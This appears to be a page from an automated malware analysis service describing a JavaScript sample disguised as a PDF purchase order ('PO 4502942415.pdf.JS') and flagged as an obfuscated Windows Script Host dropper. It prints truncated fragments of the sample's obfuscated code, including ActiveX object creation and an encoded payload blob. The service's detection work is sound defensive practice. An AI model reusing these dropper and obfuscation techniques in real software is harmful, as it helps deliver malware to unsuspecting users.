Open-source atomic malware analysis

Analyze another

fc0c6d519a5a377706d086d133ffa726ce044cb5977b6c8e11925fe5250fa3ac

JAVASCRIPT
Verdict: HOSTILE
SHA256: fc0c6d519a5a377706d086d133ffa726ce044cb5977b6c8e11925fe5250fa3ac · 100%
AI Obfuscated WSH dropper writing payload
Mal-ecule
O₃(CXeAs₄)H₃(DbF₂Po)
Size 3.5 MB download
First seen 22 days ago
Analyzed 21 days ago
Ecosystem javascript
Source abuse.ch
Also detected by 1 source
Obfuscated JScript uses a variable ActiveX object to write a payload: PO 4502942415.pdf.JS:0x62390
Obfuscated WSH ActiveX script writes a payload through SaveToFile: PO 4502942415.pdf.JS:0x62390
Dynamic property access on WScript object: PO 4502942415.pdf.JS:0x62390
PO 4502942415.pdf.JS javascript
78:5027 …EQODJSKYPKXY⸟หᏓ⩕ɟ⪥↾ၑ⡳ଃⰧหᏓᅭቔหᏓEAUREQODJSKYPKXY⸟หᏓ⩕ɟ⪥↾ၑ⡳ଃⰧหᏓᅭቔหᏓ";function _0x1dd600(_0x347799,_0xd94f14,_0x4a8360,_0x248428){return _0x5052(_0x4a8360-0x344,_0x347799);}(function(_0xa79fe5,_0xbdc609){function _0x2e7873(_0x568ce0,_0x1262fe,_0x239c73,_0x328827){return _0x5052(_0x568ce0-0x247,_0x1262fe);}var _0x5c3314=_0xa79fe5();function _0x3da812(_0x42fd45,_0x18579b,_0x37751a,_0x3107be){return _0x5052(_0x18579b-0x163,_0x42fd45);}function _0x2… Obfuscated WSH ActiveX script writes a payload through SaveToFile
78:6077 …2f8,0x3df,0x411,0x45d))/0x9;if(_0x350c13===_0xbdc609)break;else _0x5c3314['push'](_0x5c3314['shift']());}catch(_0x26d33f){_0x5c3314['push'](_0x5c3314['shift']());}}}(_0x4ca4,0x521c6));var _0x5c5990=_0x34d9;(function(_0x2efced,_0x4469a2){function _0x2d3634(_0x2c7693,_0x1… Obfuscated WSH ActiveX script writes a payload through SaveToFile
78:28239 …_0x5c5990(0x1cd),MNHHTUIOP=ERTERYUP[_0x5c5990(0x1d8)]('!')[_0x5c5990(0x30b)](''),EAUREQODJSKYPKXY=_0x5c5990(0x2cf),MNHHCRXTUIOP=new ActiveXObject(MNHHTUIOP),EAUREQODJSKYPKXY=_0x3796d0(0x247,0x28c,0x183,0x338),XXXERYUP=_0x5c5990(0x2c0),XXXTUIOP=XXXERYUP[_0x1dd600(0x745,0x5a7,0x653,0x624)]('!')[_0x5c5990(0x30b)](''),EAUREQODJSKYPKXY=_0x5c5990(0x2cf),EAUREQODJSKYPKXYUX=MNHHCRXTUIOP[_0x5c5990(0x1ac)](XXXTUIOP),LO… Obfuscated JScript uses a variable ActiveX object to write a payload
78:49920 …_0x5c5990(0x1fa)]:[this[_0x5c5990(0x193)]||(this['asmdb']={}),_0x5c5990(0x14e)]));if(myObject[_0x3796d0(0x342,0x35d,0x41a,0x331)](TAXIELYOKUM[_0x5c5990(0x1d8)](_0x5c5990(0x20a))[_0x5c5990(0x30b)](''))){}else{var scriptName=WScript[_0x5c5990(0x208)],EAUREQODJSKYPKXY=_0x5c5990(0x2cf),GFRTGTFGD=EAUREQODJSKYPKXYUX+_0x5c5990(0x21f)+scriptName,EAUREQODJSKYPKXY=_0x5c5990(0x2cf),HGJHKKLL=GFRTGTFGD[_0x5c5990(0x1d8)]('!')[_0x5c5990(0x30b)](''),EAUREQODJSKYPKXY=_0x1dd600(0x5c9,0x5d9,0x4f7,0x59… Obfuscated JScript uses a variable ActiveX object to write a payload
78:438113 …V?D?M?x?w!l$M$x$E%D%X%3%k%D%M%c%h%T%M%x%w!F?M~w~E~D~X#3$k$D$M$c$J$C?L~i#g#D#M#x#w#F$O$w$E$D$X$w$A$T%M%c%Z%D%N%w%w%F%M%1%A%D!X x&U?D?M?c?R?T?M?x?w?V?M?w?E?D!X%1&E~T~M~c?d T?M~x~w~l~I#7 I^C~O^w?E?D~X~4 A T M!c!B!D#M#x$w$l%N~0%A D^X~x~A T M?c?V?T?M~x#w$1$N$5%A~D#X&4~k D M!c!h!D#M#x#w$V$M%w%E%D%X?w^E^T!M^c~R~T~M x w!V!M!w#E#D^X*3*A T&M*c$J?y O i g!D!M!x!w#F#O#w#E#D$X$w%A~T~M*c#Z^D^N&w&w&F*M*1*A?D~X x U%D%M^c^h&… Obfuscated JScript uses a variable ActiveX object to write a payload

Loading traits…

Identity

SHA-256 fc0c6d519a5a377706d086d133ffa726ce044cb5977b6c8e11925fe5250fa3ac
Canonical SHA-256 00c816e41c86c2cea9454a702bc2c73ca26be633a23c27d9bc9a6041729bf7b7
Filename PO 4502942415.pdf.JS
Package fc0c6d519a5a377706d086d133ffa726ce044cb5977b6c8e11925fe5250fa3ac

Origin

Source harvest
Feed malwarebazaar
Ecosystem javascript
Domain abuse.ch

Timeline

First seen 4 Aug 2026 08:35 UTC
First analyzed 5 Aug 2026 00:27 UTC
Last analyzed 5 Aug 2026 10:37 UTC
Last updated 5 Aug 2026 10:37 UTC

Labeling

Label bad
Label source harvest
Traits version b5ca8